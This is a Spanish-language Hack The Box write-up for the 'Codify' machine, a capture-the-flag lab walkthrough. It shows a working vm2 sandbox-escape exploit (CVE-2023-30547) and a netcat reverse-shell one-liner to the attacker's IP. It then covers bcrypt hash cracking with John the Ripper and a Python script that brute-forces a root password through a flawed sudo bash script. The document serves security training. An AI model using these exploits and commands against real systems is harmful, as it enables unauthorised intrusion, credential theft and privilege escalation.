HTB Codify writeup

Resumen ||


Codify es una máquina Linux que ejecuta un servidor HTTP y aloja una aplicación web desactualizada. Aprovecharemos las vulnerabilidades en esta aplicación para acceder al sistema, donde descubriremos credenciales encriptadas en formato bcrypt. Estas credenciales pueden ser explotadas de manera sencilla utilizando John The Ripper. Una vez que hayamos obtenido acceso al usuario Joshua, investigaremos cómo vulnerar un código en bash que cuenta con permisos sudo pero no está implementado con todas las medidas de seguridad necesarias. Esto nos permitirá elevar nuestros privilegios al nivel de root.



Reconocimiento

Puertos

Realizamos un escaneo rápido de puertos y versiones de servicios a la máquina víctima:

└─$ nmap -p- -sV 10.10.11.239 -T5 -oN nmap.txt -vvv

Web

El puerto 80 tiene un servidor http activo:

A simple vista hay tres páginas: /limitations, /about, /editor.

El servidor contiene una aplicación web que permite testear código Node JS. Una Reverse Shell sencilla en este lenguaje no funciona por los módulos restringidos:

La aplicación funciona mediante la libreria vm2 en la versión 3.9.16.

Penetración

Web

La versión 3.9.16 de la librería vm2 tiene una vulnerabilidad registrada como CVE-2023–30547, que permite escapar de las restricciones del editor. Con ello podemos ejecutar código malicioso y una reverse shell con la que acceder al sistema víctima.

Exploit

Haremos uso del siguiente PoC:

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('whoami');
}
`

console.log(vm.run(code));

Una vez confirmada la vulnerabilidad, el acceso es ya algo mecánico. Abrimos puerto en escucha:

nc -lvp <port>

Introducimos una reverse shell con el siguiente comando:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <your ip> <port> >/tmp/f

Una vez dentro, vamos a necesitar, por comodidad, una shell con todas sus funciones. Habrá que ejecutar lo siguiente:

script /dev/null -c bash
tty
CTRL+Z
stty raw -echo;fg
reset
xterm
export TERM=xterm

En /home vemos un usuario posiblemente vulnerable: joshua En /var/www/contact hay un archivo SQLite con un hash en bcrypt.

Con John The Ripper se tarda menos de treinta segundos en hacerse cargo de ella:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=bcrypt

Acceso y Escalada de Privilegios

ssh joshua@10.10.11.239

Aquí está la flag user.txt.

Para escalar privilegios vamos a revisar qué puede hacer nuestro usuario Joshua:

Parece ser que podemos ejecutar un comando con permisos sudo que pregunta por la contraseña root.

Está programado con ciertas vulnerabilidades de seguridad. Como la comparación if viene en doble corchete, el programa leerá por igual [[$DB_PASS == Pass]] que [[$DB_PASS == P*]]. Esto nos permite adivinar la contraseña mediante fuerza bruta, testando cada dígito 1 a 1. Probando [[$DB_PASS == a*]] [[$DB_PASS == b*]]… La teoría detrás de esto se puede leer aquí.

El camino fácil es construir un script en python que lo automatice.

import string  
import subprocess  
all = list(string.ascii_letters + string.digits)  
password = ""  
found = False  
  
while not found:  
    for character in all:  
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"  
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout  
  
        if "Password confirmed!" in output:  
            password += character  
            print(password)  
            break  
    else:  
        found = True

Lo creamos en /tmp, le damos permisos de ejecución y nos da la contraseña en cuestión de minutos.